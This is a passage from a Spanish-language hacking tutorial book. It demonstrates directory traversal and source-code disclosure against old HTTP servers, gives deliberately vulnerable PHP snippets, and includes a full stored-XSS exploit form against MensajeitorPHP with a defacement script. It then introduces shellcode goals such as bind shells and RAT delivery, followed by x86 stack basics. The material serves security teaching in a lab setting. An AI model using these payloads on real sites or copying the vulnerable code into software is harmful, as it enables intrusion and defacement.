Este tipo de fallo puede presentarse tanto en las páginas web como en los servidores HTTP. Para examinar la
vulnerabilidad, vamos a utilizar un servidor HTTP llamado Femitter Server.
El Libro de Teraexe Alvaro J. Gene
86
Parte 1: Tecnologías para Examinar la Vulnerabilidad
• Sistema Operativo: Microsoft Windows XP Profesional Service Pack 2 (Versión 5.1.2600)
• Servidor HTTP: Femitter Server v.1.0.3
Parte 2: Explotación de la Vulnerabilidad
URL: http://192.168.1.102/
El Libro de Teraexe Alvaro J. Gene
87
URL: http://192.168.1.102/..%2f
URL: http://192.168.1.102/..%2f/..%2f
El Libro de Teraexe Alvaro J. Gene
88
URL: http://192.168.1.102/..%2f/..%2f/..%2f
URL: http://192.168.1.102/..%2f/..%2f/..%2f/WINDOWS/system32
El Libro de Teraexe Alvaro J. Gene
89
Source Code Disclosure
En esta sección, voy a brindar información sobre un tipo de vulnerabilidad que en inglés se le conoce como Source
Code Disclosure, lo que en español significaría revelación del código fuente. ¿Qué es el código fuente? En el campo de
la informática, el código fuente de una aplicación/website es el conjunto de códigos que un informático desarrolla para
que una computadora pueda interpretarlo/compilarlo y posteriormente realizar algunas funciones o tareas. Por ejemplo,
un informático podría desarrollar el código fuente de una aplicación de PHP para que un grupo de clientes puedan
interactuar o chatear mediante una página web. Si esa aplicación de PHP contiene un panel administrativo para que un
administrador pueda configurar el chat, entonces existe la posibilidad de que los nombres de usuarios y/o passwords se
puedan encontrar en el código fuente de esa aplicación (en una aplicación segura, los nombres de usuarios y/o
passwords serían almacenados en una base de datos; sin embargo, existen una gran cantidad de aplicaciones que no
usan base de datos para almacenar sus usernames y/o passwords).
En los ataques de Source Code Disclosure, como su nombre lo indica, el intruso explota una vulnerabilidad que le
permite revelar el código fuente de una aplicación. Luego, si el intruso llega a encontrar un username y/o password en el
código fuente de la aplicación, él/ella podría utilizarlo para ganar acceso al panel administrativo del programa.
¿Cómo se explota una vulnerabilidad de Source Code Disclosure en una aplicación de PHP? Usualmente, este agujero
de seguridad no requiere mecanismos complejos para ser explotado debido a que el atacante solamente tiene que
colocar un punto al final de la extensión del archivo que él/ella quiere explotar. Un punto importante sobre esta
vulnerabilidad es que se puede encontrar tanto en los códigos de PHP, como en los mismos servidores HTTP. A
continuación veremos un ejemplo de cómo explotar una vulnerabilidad de Source Code Disclosure en un HTTP server
llamado QuickPHP Web Server.
El Libro de Teraexe Alvaro J. Gene
90
Parte 1: Tecnologías para Examinar la Vulnerabilidad
• Sistema Operativo: Microsoft Windows XP Profesional Service Pack 2 (Versión 5.1.2600)
• Servidor HTTP: QuickPHP Web Server v.1.10.0
• Lenguaje de Programación: PHP: 5.2.1
Colocar el siguiente archivo dentro del servidor HTTP: secret.php:
<?php
// El secret.php: Archivo para validar username y password.
//Nombre de usuario del administrador:
define("LOGINPANEL_USERNAME", "Alvaro");
//Password del administrador:
define("LOGINPANEL_PASSWORD", "Teraexe");
/*Una persona podrá entrar al panel administrativo
si el username y password es correcto:*/
define("LOGINPANEL_WEBSITE", "admin.php");
?>
El Libro de Teraexe Alvaro J. Gene
91
URL: http://192.168.1.102/secret.php.
El Libro de Teraexe Alvaro J. Gene
92
Script Source Code Disclosure (Local File Disclosure)
En el campo de la seguridad informática, existe una vulnerabilidad a nivel de website llamada Script Source Code
Disclosure, la cual también se le conoce como Local File Disclosure, lo que significaría revelación del archivo local.
Similar a la vulnerabilidad que vimos en el capítulo anterior, un intruso puede explotar un bug de SSCD para ver el
código fuente de una aplicación y posteriormente encontrar información sensitiva que podría ser utilizada en paneles
administrativos o sistemas de login. A diferencia del agujero de seguridad conocido como Source Code Disclosure, el
intruso no vulnera un mismo archivo para ver su código fuente, sino que usa uno de los parámetros de una web
vulnerable para ver el código fuente de uno de los archivos que se encuentran dentro del servidor HTTP. Por ejemplo,
en la siguiente auditoría, el archivo o web vulnerable tiene como nombre fgets.php, y se utiliza el parámetro fgets para
mostrar el source code de un archivo llamado secrets.php (nótese que la vulnerabilidad no se encuentra en el archivo
secrets.php, sino en el archivo fgets.php).
Parte 1: Tecnologías para Examinar la Vulnerabilidad
• Sistema Operativo: Microsoft Windows XP Profesional Service Pack 2 (Versión 5.1.2600)
• Servidor HTTP: IIS v.5.1
• Lenguaje de Programación: PHP v.5.2.1
El Libro de Teraexe Alvaro J. Gene
93
Código Vulnerable:
<?php
// Código Vulnerable: $AGene_Vulnerability = fopen($_GET['fgets'],"r+") or exit("No pudo abrir el archivo."); while(!feof($AGene_Vulnerability)) { echo fgets($AGene_Vulnerability) . " "; } fclose($AGene_Vulnerability); ?>
Colocar el siguiente archivo dentro del servidor HTTP: secret.php:
<?php
// El secret.php: Archivo para validar username y password.
//Nombre de usuario del administrador:
define("LOGINPANEL_USERNAME", "Alvaro");
//Password del administrador:
define("LOGINPANEL_PASSWORD", "Teraexe");
/*Una persona podrá entrar al panel administrativo
si el username y password es correcto:*/
define("LOGINPANEL_WEBSITE", "admin.php");
?>
El Libro de Teraexe Alvaro J. Gene
94
URL: http://192.168.1.102/fgets.php?fgets=secret.php
El Libro de Teraexe Alvaro J. Gene
95
Cross-Site Scripting (XSS)
En esta sección, voy a brindar información sobre una vulnerabilidad a nivel de website que se le conoce como
Cross-Site Scripting, el cual es abreviado como XSS. ¿Por qué Cross-Site Scripting es abreviado como XSS? Si un
informático une las siglas de Cross-Site Scripting, él/ella va a obtener las siguientes iniciales: CSS. Sin embargo, en el
campo de la informática, las famosas iniciales de CSS son muy usadas para abreviar la siguiente frase: Cascading Style
Sheets. Por lo tanto, se llegó a la conclusión de que la mejor abreviación para Cross-Site Scripting sería XSS. Nótese
que en inglés cross significa cruz; además, la palabra cruz es usada para describir algunos símbolos como + y x.
¿En qué consisten las vulnerabilidades de Cross-Site Scripting? En este tipo de vulnerabilidad conocida como XSS, el
atacante inyecta códigos maliciosos de scripts en la página web de un servidor HTTP; luego, esos scripts son ejecutados
en aquellos clientes que visiten el website. Por ejemplo, un atacante podría usar la URL de su navegador para inyectar
códigos de JavaScript en algún lugar de una página web o base de datos; luego, esos códigos de JavaScript podrían ser
ejecutados en aquellos clientes que visiten el website. Los Cross-Site Scripting son un tipo de vulnerabilidad a nivel de
website que son divididas en tres categorías, las cuales son conocidas como reflected XSS, DOM XSS, y stored XSS.
Reflected XSS: En el idioma inglés, este tipo de Cross-Site Scripting también es conocido como non-persistent XSS, lo
que significaría XSS no-persistente. ¿Por qué se le conoce como XSS no-persistente? A esta categoría de Cross-Site
Scripting se le conoce como XSS no-persistente porque los códigos maliciosos no quedan almacenados de forma
persistente en una página web o base de datos. En otros tipos de vulnerabilidades como el XSS persistente, después de
que el atacante introduce los scripts maliciosos mediante la URL de su navegador, los scripts pueden quedar
almacenados en alguna parte del servidor, como por ejemplo la página web o la base de datos; luego, cuando el visitante
entra a la página principal (sin colocar los scripts maliciosos en la URL de su navegador), los scripts del atacante se
ejecutan en su computadora. Por otro lado, en las vulnerabilidades de XSS no-persistente, para que el atacante pueda
ejecutar sus scripts maliciosos en la computadora de la víctima, la víctima tiene que colocar en su navegador
exactamente la URL que el atacante le está enviando. Para que el procedimiento sea efectivo, usualmente los intrusos
El Libro de Teraexe Alvaro J. Gene
96
usan técnicas de ingeniería social y codificación de códigos scripts (ASCII) para que la víctima no vea los códigos que
podrían ser ejecutados en su computadora. Al principio, las vulnerabilidades de Cross-Site Scripting eran consideradas
técnicas lambers debido a que la víctima tenía que realizar algún movimiento en su computadora para que el
procedimiento fuera efectivo; por ejemplo, la víctima tenía que ejecutar la URL que el atacante le estaba enviando por
email para que el intruso pudiera redirigirlo a otro website que explotaría una vulnerabilidad en su navegador e
instalaría alguna herramienta de administración remota. Sin embargo, aunque en un principio estas técnicas eran
consideradas lambers, con el tiempo salieron técnicas más sofisticadas de Cross-Site Scripting. Por ejemplo, salieron
técnicas de stored XSS, las cuales se van a explicar más detalladamente al final de esta sección. Aparte de los stored
XSS, las vulnerabilidades de XSS también se empezaron a utilizar dentro de los gusanos, los cuales son virus
informáticos que pueden llegar a infectar miles o millones de computadoras de forma automática y en poco tiempo.
Debido a las técnicas como los stored XSS y los gusanos de XSS, este tipo de vulnerabilidad paso a ser de una técnica
lamber a una técnica profesional. Eso sí, para realizar una técnica profesional de XSS, es importante entender el origen
y los funcionamientos básicos. A continuación se va a explicar un poco sobre el funcionamiento de los reflected XSS:
Código Vulnerable (guardar el siguiente código como teraexe.php):
<?php
echo $_GET['agene'];
?>
Como los Cross-Site Scripting son un tipo de vulnerabilidad un poco antigua, los navegadores actuales ya tienen
seguridades para bloquear automáticamente los reflected XSS (sin embargo, los navegadores actuales no pueden evadir
los ataques XSS profesionales ya que los scripts maliciosos quedan almacenados dentro de una página web o base de
datos); por lo tanto, lo ideal es examinar esta vulnerabilidad en un navegador antiguo, como por ejemplo el Internet
Explorer de la versión 6.0 que trae el Windows XP SP2.
El Libro de Teraexe Alvaro J. Gene
97
Cuando un atacante quiere explotar una vulnerabilidad de XSS, lo primero que hace es buscar un website que tenga un
parámetro vulnerable. En este caso, la página web vulnerable va a ser teraexe.php, y el parámetro vulnerable va a ser
agene. En la URL de nuestro navegador, vamos a colocar el siguiente código:
URL: http://192.168.1.102/teraexe.php?agene=Socket_0x03
Si el texto se muestra dentro de la página web, entonces podemos proceder con el siguiente paso:
URL: http://192.168.1.102/teraexe.php?agene=Socket_0x03
Si el texto se muestra en grande, entonces eso quiere decir que la página web está cargando scripts de HTML.
URL: http://192.168.1.102/teraexe.php?agene=Socket_0x03
El Libro de Teraexe Alvaro J. Gene
98
Si la página web ejecuta los códigos de JavaScript, entonces significa que tenemos un website con una vulnerabilidad
de reflected Cross-Site Scripting.
DOM XSS: DOM proviene de las siglas en inglés Document Object Model. Este tipo de vulnerabilidad proviene del
reflected XSS debido a su similaridad. Sin embargo, a diferencia del reflected XSS, el intruso que explota una
vulnerabilidad DOM XSS nunca llega a inyectar sus códigos maliciosos de script en la página web, sino que más bien
los refleja directamente en el website de la víctima mediante aplicaciones de jQuery, Ajax, y otras por el estilo.
Stored XSS: En el idioma inglés, este tipo de Cross-Site Scripting también es conocido como persistent XSS, lo que
significaría XSS persistente. ¿Por qué se le conoce como XSS persistente? A este tipo de Cross-Site Scripting se le
llama XSS persistente porque los códigos del atacante quedan almacenados en la página web o base de datos, de forma
que los códigos de script son ejecutados automáticamente en las computadoras de aquellos clientes que visiten la página
web. A diferencia del reflected XSS, la víctima no tiene que ejecutar una URL que contenga los códigos maliciosos; en
esta categoría de XSS, los códigos de JavaScript podrían ser cargados en la computadora del cliente si él/ella visita una
URL similar a la siguiente: http://www.teraexe.com/index.php. Un punto interesante sobre este tipo de XSS es que en
forma profesional podría ser utilizado para crear gusanos, los cuales son virus informáticos que se pueden reproducir en
redes sociales e infectar miles o millones de computadoras en poco tiempo y de forma automatizada.
El Libro de Teraexe Alvaro J. Gene
99
A continuación veremos un ejemplo de cómo explotar una vulnerabilidad de Cross-Site Scripting persistente en una
aplicación de PHP que tiene como nombre Mensajeitor.
Parte 1: Tecnologías para Examinar la Vulnerabilidad
• Sistema Operativo: Microsoft Windows XP Profesional Service Pack 2 (Versión 5.1.2600)
• Servidor HTTP: IIS v.5.1
• Lenguaje de Programación: PHP v.5.2.1
• Programa Vulnerable: MensajeitorPHP v.1.8.9
Parte 2: Código Fuente del Exploit
Código del Exploit:
<html> <head><title>Mensajeitor Exploit</title></head> <body> <p align="center"><b>Inyección código en Mensajeitor =< v1.8.9 r1<br></b><br> </p> <form name="form1" method="post" action="http://192.168.1.102/mensajeitor.php"> <input type="text" name="nick" size="10" value="Nick" maxlength="9"><br> <input type="text" name="titulo" size="21" value="Mensaje"><br> <input type="text" name="url" size="21" value="http://"><br> <input type="hidden" name="AdminNick" value="si"><br> Introduce código a insertar (</table> debe incluirse al principio)<br> <input type="text" name="cadena_final" size="75%" value="</table><script>alert('Defaced by Socket_0x03')</script>"><br> <input type="submit" name="enviar" value="Enviar" class="form"><br> </form> </body></html>
El Libro de Teraexe Alvaro J. Gene
100
Parte 3: Explotación de la Vulnerabilidad Cross-Site Scripting
Al tener Mensajeitor en nuestro servidor HTTP y ejecutar mensajeitor.php, veremos lo siguiente:
Dejar un mensaje para verificar el funcionamiento:
El Libro de Teraexe Alvaro J. Gene
101
Ejecutamos el Exploit:
Cada vez que una persona entre al website, él/ella verá el siguiente mensaje (se ejecuta el script):
El Libro de Teraexe Alvaro J. Gene
102
Vulnerabilidades a Nivel de Memoria
Sección se divide en doce categorías:
Parte 1 – Introducción a las Vulnerabilidades a Nivel de Memoria (P. 103)
Parte 2 – Introducción a los Desbordamientos de Memoria (P. 106)
Parte 3 – Teoría Básica de ASM y Funcionamiento de la Pila (P. 107)
Parte 4 – Conocimientos Básicos sobre Programación en C – Nivel 1 (P. 118)
Parte 5 – Usar C para Programar una Aplicación Vulnerable y su Exploit (P. 143)
Parte 6 – Ejercicios: Crear el Exploit del Programa Vulnerable (P. 154)
Parte 7 – Conocimientos Básicos sobre Programación en ASM (P. 164)
Parte 8 – Escribiendo Shellcodes en ASM (P. 197)
Parte 9 – Fuzzer Bed para encontrar Vulnerabilidades en Servidores (P. 213)
Parte 10 – Conocimientos Básicos Sobre Programación en C – Nivel 2 (P. 214)
Parte 11 – Programación de Buffer Overflow Exploits para Servidores (P. 239)
Parte 12 – Entretenimiento: Videos Antiguos sobre Ataques de Buffer Overflow (P. 271)
El Libro de Teraexe Alvaro J. Gene
103
Parte 1 – Introducción a las Vulnerabilidades a Nivel de Memoria
En el campo de la seguridad informática, aparte de las vulnerabilidades a nivel de website que vimos en el capítulo
anterior, también se encuentran las vulnerabilidades a nivel de memoria, las cuales se encuentran en la memoria o
buffer de una aplicación. Cuando un intruso quiere explotar una vulnerabilidad a nivel de memoria en una aplicación,
él/ella debe desarrollar o utilizar una herramienta que tiene como nombre exploit. En el campo del hacking, existen dos
tipos de exploits que son llamados locales y remotos. Por un lado, un exploit local es aquel que explota una
vulnerabilidad a nivel de memoria en una aplicación vulnerable que se encuentra en la misma computadora donde se
está ejecutando el exploit; usualmente, los exploits locales son utilizados con la finalidad de obtener privilegios
administrativos dentro de un mismo sistema, y estos exploits locales suelen explotar vulnerabilidades en programas
como reproductores de música, reproductores de video, y otros por el estilo. Por otro lado, un exploit remoto es aquel
que explota un agujero de seguridad en una aplicación vulnerable que se encuentra en una computadora diferente a
aquella en donde se está ejecutando el exploit; usualmente, los exploits remotos son utilizados con dos propósitos: (a)
Hacer que un servidor deje de funcionar. (b) Tomar el control total de aquella computadora que tiene corriendo un
servidor. ¿Qué aplicaciones suelen afectar los exploits remotos? Usualmente, los exploits remotos explotan
vulnerabilidades a nivel de memoria en servidores HTTP, FTP, SMTP, POP3, y otros servidores por el estilo.
Cuando un informático quiere examinar las vulnerabilidades a nivel de memoria de una computadora que trabaja como
servidor, él/ella debe tener una base sobre el funcionamiento de los servidores más comunes; por lo tanto, en esta
sección, voy a brindar una breve introducción sobre los servidores más comunes que suelen tener vulnerabilidades a
nivel de memoria:
1) Servidor HTTP: Usualmente, un servidor HTTP corre en el puerto TCP 80 y contiene aquellas páginas web que un
cliente puede visitar mediante su navegador. Aunque no es necesario y el lector puede pasar a la siguiente definición
sobre el FTP server, voy a brindar una descripción un poco más técnica y compleja para aquellos que quieren ir un
poco más profundo en el tema de los servidores HTTP. ¿Qué es HTTP? HTTP proviene de las siglas en inglés
El Libro de Teraexe Alvaro J. Gene
104
Hypertext Transfer Protocol, lo que en español significaría Protocolo de Transferencia Hipertexto. Como su
nombre lo indica, un HTTP es un protocolo (en informática, un protocolo es un conjunto de reglas o instrucciones
usadas por los dispositivos para transferir datos vía internet/intranet) usado para transferir hipertexto (en
informática, el hipertexto es lo que muestra un dispositivo o computadora en su pantalla, incluyendo texto,
imágenes, videos, y otro tipo de datos que forman los bytes de información). Entonces, si unimos las palabras
servidor y HTTP, vamos a obtener el siguiente significado: una aplicación que brinda aquel servicio que está
relacionado con la transferencia de información, imágenes, videos, y otros datos.
2) Servidor FTP: Usualmente, un servidor FTP va a correr en el puerto TCP 21 y se encarga de almacenar archivos,
como por ejemplo archivos de texto, imágenes, videos, y más. Una persona podría utilizar un servidor FTP para
guardar aquellos archivos que él/ella planea descargar en un futuro, o una persona podría utilizar un servidor FTP
para compartir aquellos archivos que otra persona podría descargar en un futuro. En resumidas cuentas, un servidor
FTP funciona como un lugar para guardar, descargar, y/o transferir archivos. ¿Qué significa FTP? En el idioma
inglés, FTP significa File Transfer Protocol, lo que en español significaría Protocolo de Transferencia de Archivos.
3) Servidor TFTP: TFTP significa Trivial File Transfer Protocol, lo que en español significa Protocolo de
Transferencia de Archivos Trivial. Similar al FTP server, un TFTP server funciona para guardar, descargar, y/o
transferir archivos. A diferencia del servidor FTP que funciona en el puerto TCP 21, el servidor TFTP funciona en
el puerto UDP 69.
4) Servidor SMTP: SMTP proviene de las siglas en inglés Simple Mail Transfer Protocol, lo que en español
significaría Protocolo para la Transferencia de Correo Simple. Usualmente, un SMTP server funciona en el puerto
TCP 25 y un administrador lo utiliza para la transferencia de correo electrónico.
Cuando un informático quiere examinar las vulnerabilidades a nivel de memoria, aparte de tener una base en el
funcionamiento de los servidores, también es importante tener cierto conocimiento en los diferentes tipos de
El Libro de Teraexe Alvaro J. Gene
105
vulnerabilidades; por lo tanto, en esta sección, voy a dejar una lista sobre los diferentes tipos de vulnerabilidades a nivel
de memoria que un atacante puede explotar cuando él/ella quiere infiltrarse en un sistema:
1. Explotación de codificación segmentada (chunked encoding vulnerabilities)
2. Explotación de Punteros Colgados (dangling pointer)
3. Explotación de Punteros Salvajes
4. Corrupción de la Memoria Double-free (Double-free Memory Corruption)
5. Desbordamientos de Montículo (Heap Overflow - Un Tipo de Desbordamiento de Memoria)
6. Desbordamientos de Pila (Un Tipo de Desbordamiento de Memoria)
7. Desbordamientos de Enteros (Un Tipo de Desbordamiento de Memoria)
8. Desbordamientos de Aritmética (Un Tipo de Desbordamiento de Memoria)
9. Ataques de Retorno-a-Libc
10. Ataques en Formato de Cadena (format strings)
El Libro de Teraexe Alvaro J. Gene
106
Parte 2 – Introducción a los Desbordamientos de Memoria
En el idioma inglés, los desbordamientos de memoria son conocidos como buffer overflow. ¿Qué es un buffer
overflow? Un desbordamiento de memoria es una vulnerabilidad en el cual un atacante introduce un número de bytes
en un área de memoria (llamada buffer) que no es lo suficientemente grande para poder contenerlos y como resultado
los datos se salen del área (se desborda). Cuando se produce un desbordamiento de memoria, un atacante puede ejecutar
las introducciones que él/ella desee en la computadora en donde se produjo el buffer overflow. Usualmente, esas
instrucciones que se ejecutan después de un buffer overflow se encuentran en un área del exploit llamada payload o
shellcode. ¿Qué es una shellcode? Una shellcode es un conjunto o grupo de instrucciones programadas en lenguaje
ensamblador; además, un atacante puede colocar una shellcode dentro de su exploit para que esa shellcode se ejecute
después de que se explote una vulnerabilidad de desbordamiento de memoria. A continuación se muestran algunas de
las funciones más importantes que pueden realizar las shellcodes:
a) Dejar un puerto a la escucha. De esa forma, un intruso puede utilizar telnet/netcat para conectar a ese puerto y
posteriormente obtener el MS-DOS/Terminal de la víctima.
b) Transferir una herramienta de administración remota.
c) Ejecutar algún comando de la terminal o MS-DOS.
d) Aparecer un mensaje de texto.
e) Ejecutar algún archivo que se encuentre dentro del disco duro, como por ejemplo el navegador.
Lógicamente, de todas las funciones anteriores, lo ideal es transferir una herramienta de administración remota para
luego realizar las tareas que el atacante desee de una forma muy cómoda. Sin embargo, en algunos casos, es un poco
difícil transferir directamente un RAT a los sistemas de la víctima; por lo tanto, se hace más simple ejecutar una
shellcode que deje un puerto a la escucha para luego conectar con telnet/netcat y transferir un RAT mediante los
comandos de la terminal/MS-DOS.
El Libro de Teraexe Alvaro J. Gene
107
Parte 3 – Teoría Básica de ASM y Funcionamiento de la Pila
Para entender a profundidad cómo funcionan los desbordamientos de memoria, una persona debe adquirir
conocimientos en lenguaje ensamblador (ASM) y conocer el funcionamiento de la pila; por lo tanto, en esta pequeña
sección, voy a brindar un poco de información sobre los siguientes puntos: estructura de datos, la pila, instrucciones de
ASM, y registros de ASM.
Estructura de Datos:
En el campo de la informática y la programación, el término de estructura de datos se aplica a aquel conjunto de datos
que pueden ser almacenados de forma organizada y estructurada dentro de algún dispositivo electrónico, como por
ejemplo una laptop, desktop, teléfono, reloj, TV, u otro dispositivo. Después de que los datos son almacenados dentro
de un dispositivo electrónico de forma organizada y estructurada, los datos pueden ser utilizados correctamente por el
dispositivo debido a la organización que se utilizó anteriormente para almacenar los datos.
La Pila (Stack) y el sistema LIFO:
Cuando se trata de almacenar y extraer bytes de información dentro de una computadora, vamos a encontrar el siguiente
concepto (un concepto es la representación mental intangible que el ser humano le da a algo): pila. ¿Qué es la pila? En
el mundo de las computadoras, la pila es un concepto informático o representación mental que se le da a una estructura
de datos, la cual se encarga de almacenar y extraer bytes de información de forma organizada y estructurada; por
ejemplo, cuando se trata de un programa de computadora, la pila podría encargarse de almacenar y extraer el contenido
de unas variables. Para almacenar y extraer datos informáticos, la pila usa un sistema de acceso llamado LIFO. ¿Qué es
el LIFO? LIFO proviene de las siglas en inglés Last In First Out, lo que en español significaría Último en Entrar,
Primero en Salir. Para entender con claridad el sistema de acceso LIFO que usa la pila, lo ideal es ver un esquema en
donde se usen las instrucciones push y pop; por lo tanto, en esta sección, se va a mostrar un esquema en donde se usa el
modo LIFO para añadir y extraer datos dentro de la pila.
El Libro de Teraexe Alvaro J. Gene
108
En la parte izquierda del esquema anterior, se puede notar como la pila se encuentra sin ningún tipo de valor. Luego,
después de utilizar la instrucción push, se le añade el valor 10 a la pila. Después de añadir el valor 10, se usa la
instrucción push para añadir el valor 20. En este punto, es importante tener en cuenta lo siguiente: Como la pila usa un
sistema de acceso LIFO (Último en Entrar, Primero en Salir), una persona no puede quitar el valor de 10 sin antes quitar
el valor de 20, en otras palabras, para quitar el valor de 10, primero se tiene que quitar el valor de 20. Para entender con
claridad el modo de acceso LIFO, vamos a imaginar el siguiente escenario: supongamos que tenemos una caja
rectangular (la pila) en donde tenemos que introducir varias cajas pequeñas (valores), si colocamos la caja 20 arriba de
la caja 10, al introducir la mano en la caja rectangular para sacar alguna de las cajas, no vamos a poder sacar las cajas de
abajo si primero no sacamos las cajas de arriba, en otras palabras, después de colocar la caja 20 arriba de la caja 10, no
vamos a poder sacar la caja 10 si primero no sacamos la caja 20. Entonces, en este escenario, usamos la instrucción push
para así poder añadir o introducir cajas pequeñas (valores) por la parte superior (boca de la pila) de la caja rectangular
El Libro de Teraexe Alvaro J. Gene
109
(la pila); por otro lado, usamos la instrucción pop para quitar o sacar cajas pequeñas (valores) de la caja rectangular (la
pila).
Continuando con el esquema anterior y saliendo del ejemplo anterior de las cajas, después de usar la instrucción push
para añadir el valor de 20 dentro de la pila, se usa nuevamente la instrucción push para añadir el valor de 30. Después de
ese paso, se puede notar como usamos la instrucción pop para ir quitando los valores de la pila; en este caso, como la
pila usa un sistema de acceso llamado LIFO, los primeros valores que se quitan son los que se encuentran en la parte
superior de la pila.
Arquitectura x86: Instrucciones del Lenguaje Ensamblador:
En el lenguaje ensamblador x86, no solamente podemos encontrar las instrucciones push y pop que se usan para
extraer/almacenar datos en la pila, sino también muchas otras instrucciones que están relacionadas con el manejo de
aquellas aplicaciones que corren en las arquitecturas x86. Aunque la lista de instrucciones para las arquitecturas x86 es
extremadamente amplia como para aprenderlas todas, lo ideal es estar familiarizado con las instrucciones más comunes
(mientras se tiene a la mano la lista amplia que contiene todas las instrucciones); por lo tanto, en esta pequeña sección,
nos vamos a familiarizar con las instrucciones más comunes que se utilizan para los microprocesadores de la
arquitectura x86.
1) Instrucción mov: En la arquitectura x86, la instrucción mov se utiliza para mover bytes de información. Como se
puede ver, este sería un ejemplo: mov X, Y. En el ejemplo anterior, los valores de Y se copian al de X; en otras
palabras, los 4 bytes de información que se encuentran dentro de Y pasan a X. En un ejemplo real, en lugar de usar
X y Y, se tendrían que utilizar valores y/o registros. A continuación se muestra otro ejemplo: mov AX, [0x03030].
En el ejemplo anterior, la instrucción mov se encarga de mover el valor x03030 al registro AX. Por ahora no es
necesario entender lo que hace el registro AX, en la siguiente sección, daremos una explicación sobre el
funcionamiento de los registros.
El Libro de Teraexe Alvaro J. Gene
110
2) Instrucción call: Una persona puede utilizar la función call cuando él/ella quiere llamar una función. A continuación
se muestra un ejemplo:
0x00000001 mov AX, 0x03030
0x00000002 call 0x00000001
En la segunda línea del ejemplo anterior, podemos ver como en la dirección de memoria 0x00000002 se usa la
instrucción call para realizar una llamada a una función que va a comenzar con la siguiente dirección de memoria:
0x00000001. Aparte del ejemplo anterior, es importante saber que sucede en la pila de un programa: Un punto
importante que un programador debe saber sobre la instrucción call es que esta instrucción se encarga de empujar o
colocar dentro de la pila aquella posición de memoria que se le asigno.
3) Instrucción ret: La palabra ret es una abreviación de return, la cual se puede traducir al idioma español como retorno
o regreso (regresar al punto anterior o inicial). Como su nombre lo indica, la instrucción ret se encarga de realizar un
retorno o regreso de direcciones de memoria. Por ejemplo, después de utilizar la instrucción de call para empujar
una dirección de memoria en la pila, un programa podría utilizar la instrucción ret para sacar lo que se encuentra en
la parte superior de la pila. Como se puede notar, ambas instrucciones realizan un trabajo totalmente opuesto: por un
lado, la instrucción call se encarga de empujar datos en la pila; por otro lado, la instrucción ret se encarga de sacar
datos de la pila.
4) Instrucción pop: Como se nombró anteriormente, la instrucción pop puede ser utilizada para extraer datos de la pila.
5) Instrucción push: Como se nombró anteriormente, la instrucción push puede ser utilizada para añadir o almacenar
datos en la pila.
El Libro de Teraexe Alvaro J. Gene
111
La Pila: Parte Superior e Inferior de la Pila
Es importante tener en cuenta que la parte superior de la pila (top of the stack) no siempre va a ser la de arriba; de forma
similar, la parte inferior de la pila (bottom of stack) no siempre va a ser la de abajo.
Cuando los datos se están añadiendo de abajo para arriba (la pila se encuentra boca arriba), la parte superior de la pila va
a ser la de arriba mientras que la parte inferior de la pila va a ser la de abajo; por otro lado, cuando los datos se están
añadiendo de arriba para abajo (la pila se encuentra boca abajo), la parte superior de la pila será la de abajo mientras que
la parte inferior de la pila va a ser la de arriba.
En otras palabras, cuando la pila se encuentra creciendo hacia arriba (los datos se añaden de abajo para arriba), la parte
superior de la pila es la de arriba mientras que la parte inferior de la pila es la de abajo; por otro lado, cuando la pila se
encuentra creciendo hacia abajo (los datos se añaden de arriba para abajo), la parte superior de la pila será la de abajo
mientras que la parte inferior de la pila será de la arriba. A continuación se muestra un diagrama en donde se nota la
diferencia entre la parte superior e inferior de pila cuando la pila se encuentra en diferentes posiciones:
Primer Diagrama – Pila crece hacia arriba
El Libro de Teraexe Alvaro J. Gene
112
Segundo Diagrama – Pila crece hacia abajo
En el primer diagrama, se puede notar como la pila crece hacia arriba a medida que se va utilizando la instrucción de
push; por lo tanto, en este caso, la parte superior es la de arriba y la parte inferior es la de abajo.
En el segundo diagrama, se puede notar como la pila crece hacia abajo a medida que se va utilizando la instrucción de
push; por lo tanto, en este caso, la parte superior de la pila es la de abajo mientras que la parte inferior es la de arriba.
En aquellas computadoras de arquitectura x86, usualmente, la pila crece hacia abajo, en esos casos, la parte superior de
la pila se va a encontrar abajo mientras que la parte inferior de la pila se va a encontrar arriba.
Arquitectura x86: Registros del Lenguaje Ensamblador:
Además de las instrucciones (push y pop) y la posición de la pila, si una persona quiere conocer a profundidad los
desbordamientos de memoria, él/ella debe conocer los registros más importantes que se usan en el lenguaje
ensamblador. Por lo tanto, en esta sección, se brindará un poco de información sobre los registros más conocidos, de los
cuales se encuentran los siguientes: EIP, ESP, y EBP.
1) Registro EIP: EIP proviene de las siglas en inglés Extended Instruction Pointer, lo que en español significaría
Puntero de Instrucción Extendida. ¿Qué es un puntero? En el campo de la informática y la programación, se le
El Libro de Teraexe Alvaro J. Gene
113
conoce como puntero a aquel valor/variable que apunta o contiene una dirección de memoria. En el caso del registro
EIP, se trata de un registro que contiene la dirección de memoria de la siguiente instrucción o función que un
programa o la pila va a ejecutar; por lo tanto, se puede decir que el registro EIP es lo que controla el flujo de una
aplicación e indica la siguiente función o tarea que un programa va a ejecutar.
2) Registro ESP: ESP proviene de las siglas en inglés Extended Stack Pointer, lo que en español significaría Puntero
de Instrucción de la Pila. Como su nombre lo indica, el registro ESP es un puntero que apunta a la parte superior de
la pila; en otras palabras, el registro ESP es un puntero que contiene la dirección de memoria que se encuentra en la
parte superior de la pila. Por lo tanto, si la pila se encuentra creciendo hacia arriba (los datos se añaden de abajo para
arriba; la boca de la pila se encuentra mirando para arriba), el registro ESP apuntará a la dirección de memoria que
se encuentra en la parte de arriba; por otro lado, si la pila se encuentra creciendo hacia abajo (los datos se añaden de
arriba para abajo; la boca de la pila se encuentra mirando para abajo), el registro ESP apuntará a la dirección de
memoria que se encuentra en la parte de abajo.
Para entender con claridad el funcionamiento del registro ESP, después de brindar un poco de información sobre el
registro EBP, se mostrará un diagrama en donde se muestra el registro ESP y el registro EBP.
3) Registro EBP: EBP proviene de las siglas en inglés Extended Base Pointer, lo que en español significaría Puntero
Base Extendido. Como su nombre lo indica, el registro EBP es un puntero que apunta a la parte inferior (la base) de
la pila; en otras palabras, el registro EBP es un puntero que contiene la dirección de memoria que se encuentra en la
parte inferior de la pila. Por lo tanto, si la pila se encuentra creciendo hacia arriba (los datos se añaden de abajo para
arriba; la boca de la pila se encuentra mirando para arriba), el registro EBP apuntará a la dirección de memoria que
se encuentra en la parte de abajo; por otro lado, si la pila se encuentra creciendo hacia abajo (los datos se añaden de
arriba para abajo; la boca de la pila se encuentra mirando para abajo), el registro EBP apuntará a la dirección de
memoria que se encuentra en la parte de arriba. A continuación se van a mostrar dos diagramas relacionados con los
registros ESP y EBP:
El Libro de Teraexe Alvaro J. Gene
114
Primer Diagrama
